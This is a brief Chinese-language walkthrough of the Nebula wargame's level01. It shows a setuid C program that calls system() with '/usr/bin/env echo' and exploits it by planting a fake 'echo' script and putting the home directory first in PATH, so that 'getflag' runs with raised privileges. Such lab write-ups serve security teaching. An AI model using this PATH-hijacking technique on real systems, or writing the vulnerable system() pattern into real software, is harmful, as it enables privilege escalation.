nebula 01

这一关是找出一个程序可以执行任意程序的漏洞

 #include <stdlib.h>
 #include <unistd.h>
 #include <string.h>
 #include <sys/types.h>
 #include <stdio.h>
 
 int main(int argc, char **argv, char **envp)
 {
   gid_t gid;
  uid_t uid;
  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  system("/usr/bin/env echo and now what?");
}

问题出在/usr/bin/env这个命令，用这个命令启动后面的shell命令

在自己的主目录建立一个叫echo的脚本，想执行什么就写什么，然后权限设置为可执行，接下来把当前目录加到PATH环境变量的最前端

export PATH=/home/level01/:$PATH

然后执行这个程序，就可以调到我们的假的echo命令了

echo:

#!/bin/bash

getflag